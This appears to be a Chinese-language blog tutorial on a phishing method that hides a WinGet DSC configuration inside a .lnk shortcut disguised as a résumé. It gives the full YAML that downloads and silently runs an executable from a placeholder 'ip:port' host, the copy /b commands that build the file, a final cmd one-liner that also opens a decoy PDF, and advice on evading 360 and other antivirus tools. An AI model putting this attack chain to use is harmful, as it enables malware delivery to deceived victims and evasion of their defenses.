01 前言

Winget钓鱼是一种容易被防御者忽视的钓鱼方式,以至于公开的文件滥用后缀中并没有它:https://filesec.io/

本文会详细介绍这种新的钓鱼伪装技术,包括漏洞复现、涉及的概念,如何一步步构造及原理

02 漏洞复现

压缩包内有Lnk文件jianli.lnk
image

双击jianli.lnk后可以看到成功弹出了伪装的pdf文档,并下载执行了putty.exe
image

03 前置知识

3.1 Powershell/Microsoft Desired State Configuration

首先Powershell DSC(Desired State Configuration) 和 Microsoft DSC(Desired State Configuration)是同一个东西,只不过Microsoft DSC为了跨平台,基于跨平台的Powershell 7构建,可以理解为Powershell DSC的升级版

PowerShell DSC (Desired State Configuration) 是 Windows PowerShell 中的一项配置管理框架,用于以声明式方式定义和自动维持系统的“期望状态”(Desired State)。

你可以把它理解为:“直接告诉系统应该是什么样子,而不是一步步教它怎么做。”

  1. 声明式配置(Declarative)
    DSC 使用类似配置文件的方式描述目标状态,例如:
    某个服务必须运行
    某个文件必须存在
    某个注册表键必须设置为某值
    而不是写脚本一步步执行。

  2. 三大组件
    (1)Configuration(配置)
    用 PowerShell 写的 DSL,描述目标状态,含义:确保 IIS 已安装

    1
    2
    3
    4
    5
    6
    7
    8
    Configuration MyConfig {
    Node "localhost" {
    WindowsFeature IIS {
    Name = "Web-Server"
    Ensure = "Present"
    }
    }
    }

    (2)Resource(资源)
    DSC 的最小执行单元,每个资源负责管理一种状态。
    常见资源类型:File(文件)、Service(服务)、Registry(注册表)、WindowsFeature(系统组件)
    资源本质是一个 PowerShell 模块,实现三个方法:Get(当前状态)、Test(是否符合期望状态)、Set(修复到期望状态)
    (3)LCM(Local Configuration Manager)
    DSC 的核心引擎,运行在每台目标机器上
    负责:应用配置、定期检查状态、自动修复

  3. 工作流程
    DSC 的执行流程如下:
    编写 Configuration -> 编译为 MOF 文件(Managed Object Format) -> LCM 读取 MOF -> 执行 Resource -> 持续监控并保持状态一致

  4. 运行模式

  5. Push 模式
    管理端主动推送配置到目标机器,适合小规模或临时配置

  6. Pull 模式
    节点主动从服务器拉取配置,类似于:Puppet、Chef、Ansible,更适合大规模环境

04 漏洞分析

测试环境:Windows 10 22H2 19045.6466

4.1 受害者点击情况分析

受害者在压缩软件中直接双击文件

  1. 7zip
    在7zip中直接双击快捷方式,快捷方式实际被解压到 %TMP%\7zO4562D2C3 下
    image

在Winrar中直接双击快捷方式,快捷方式实际被解压到 %TMP%\Rar$DIa6744.14020.rartemp 下
image

测试发现,关闭7zip和Winrar的窗口后,Rar$DIa6744.14020.rartemp 和 7zO4562D2C3 均会自动删除,我们想寻找以7z或Rar开头的目录,可以遍历%TMP%目录,来定位在压缩软件中打开的文件位置

受害者解压缩后,在文件夹中双击文件

一般用户接收文件要么在下载(Downloads)目录,要么在桌面(Desktop)目录,所以受害者如果对压缩文件进行解压缩的话,解压后的文件夹通常在 Downloads 目录或者 Desktop 目录

4.2 构造winget配置文件

配置文件中干的事就是下载并执行putty.exe,将配置文件中的http://ip:port/putty.exe换成自己的地址,保存文件为conf.yml

简单讲解一下这个配置文件:比如DownloadFile这部分来说,DSC系统会检查TestScript,如果发现文件不存在,会返回false,返回false则执行SetScript,下载文件到指定位置,GetScript用来返回状态,ExecuteFile也同理,TestScript处直接赋值$false,表示总是执行SetScript,GetScript用来返回状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
properties:
configurationVersion: 0.2
resources:
- resource: PSDscResources/Script
id: DownloadFile
directives:
description: Download file
settings:
GetScript: |
return @{ Result = (Test-Path "$env:LOCALAPPDATA\putty.exe") }
TestScript: |
Test-Path "$env:LOCALAPPDATA\putty.exe"
SetScript: |
Invoke-WebRequest -Uri "http://ip:port/putty.exe" -OutFile "$env:LOCALAPPDATA\putty.exe"

- resource: PSDscResources/Script
id: ExecuteFile
dependsOn:
- DownloadFile
directives:
description: Execute file
settings:
GetScript: |
return @{ Result = $false }
TestScript: |
return $false
SetScript: |
Start-Process -FilePath "$env:LOCALAPPDATA\putty.exe" -WindowStyle Hidden

将配置文件改成一行形式如下

1
{properties: {configurationVersion: 0.2, resources: [{resource: "PSDscResources/Script", id: "DownloadFile", directives: {description: "Download file"}, settings: {GetScript: "return @{ Result = (Test-Path \"$env:LOCALAPPDATA\\putty.exe\") }", TestScript: "Test-Path \"$env:LOCALAPPDATA\\putty.exe\"", SetScript: "Invoke-WebRequest -Uri \"http://ip:port/putty.exe\" -OutFile \"$env:LOCALAPPDATA\\putty.exe\""}}, {resource: "PSDscResources/Script", id: "ExecuteFile", dependsOn: ["DownloadFile"], directives: {description: "Execute file"}, settings: {GetScript: "return @{ Result = $false }", TestScript: "return $false", SetScript: "Start-Process -FilePath \"$env:LOCALAPPDATA\\putty.exe\" -WindowStyle Hidden"}}]}}

可以执行下列命令测试配置文件是否生效,成功弹出putty.exe则生效

1
echo y | winget configure -f conf.yml

winget文件双击后,执行效果如下
image

4.3 把winget配置文件附加到link文件的二进制内容中

使用如下命令将conf.yml附加到original.lnk文件后面

1
copy /b cmd.lnk + padding.txt + conf.yml jianli.lnk

可以执行如下命令验证,从1298行开始读的内容是否是配置文件

1
more +1298 update.lnk > a.txt

这里有2个坑,不知道可能会让你很难受

在 Windows 的命令行环境(CMD)中,more 命令是一个基于 文本流(Text Stream) 设计的古老工具。当它被迫处理 .lnk 这种二进制文件时,它会按照一套非常陈旧的逻辑来“强行”解释字节。

每当它扫到0x0A (LF,就是\n) 或者 0x0D 0x0A (CR+LF,就是\r\n)时,都会算作一个换行,但是二进制流中分布着大量随机的0x0A、0x0D 0x0A,导致精确计算偏移量会不稳定,所以通过一个技巧,现在lnk文件末尾添加1000个换行,再附加配置文件,配置文件内容前面即使有空行也不影响执行

再一个是截断符,在 more(以及很多早期的 DOS 工具)眼中,文件的真正终结者不是文件的大小(Size),而是0x1A (ASCII 26, Ctrl+Z / SUB),当 more 读取文件流时,一旦遇到字节 0x1A,它会立即认为:“好的,文件到此结束了。”

4.4 构造一个用来迷惑受害者的pdf,托管在远程服务器

1
start http://ip:port/b.pdf

4.5 最终Payload

切换到lnk文件被提取的目录,使用more提取winget配置文件,启动伪造的pdf,使用提取的配置文件调用winget,还要注意lnk文件的259字符限制,最终payload如下

1
c:\windows\system32\cmd.exe /c "(cd %tmp%\7z* || cd %tmp%\Rar* || cd %userprofile%\Desktop) & (more +1000 *.lnk > %tmp%\conf.yml) & (start http://ip:port/b.pdf) & (echo y | winget configure -f %tmp%\conf.yml > nul)"

05 进一步探索

5.1 在线配置

有人提到,winget可以使用托管在远端的配置文件

1
2
winget configure --enable
winget configure http://ip:port/a.yml --accept-configuration-agreements

经过测试,并不行,至少在我的winget版本v1.28.220中不行,未来版本据说可能加这个功能
image

5.2 其他钓鱼方式

对于lnk落地就被查杀的360,可以换换思路,使用经典的exe钓鱼,用C++实现调用下列命令

1
winget configure conf.yml --accept-configuration-agreements --disable-interactivity

然后给exe改个图标,双重后缀视情况而定,由于执行链是exe调用winget,不存在明显的可疑特征,能绕过多数杀软的检测

参考链接

https://blog.compass-security.com/2026/03/winget-desired-state-initial-access-established/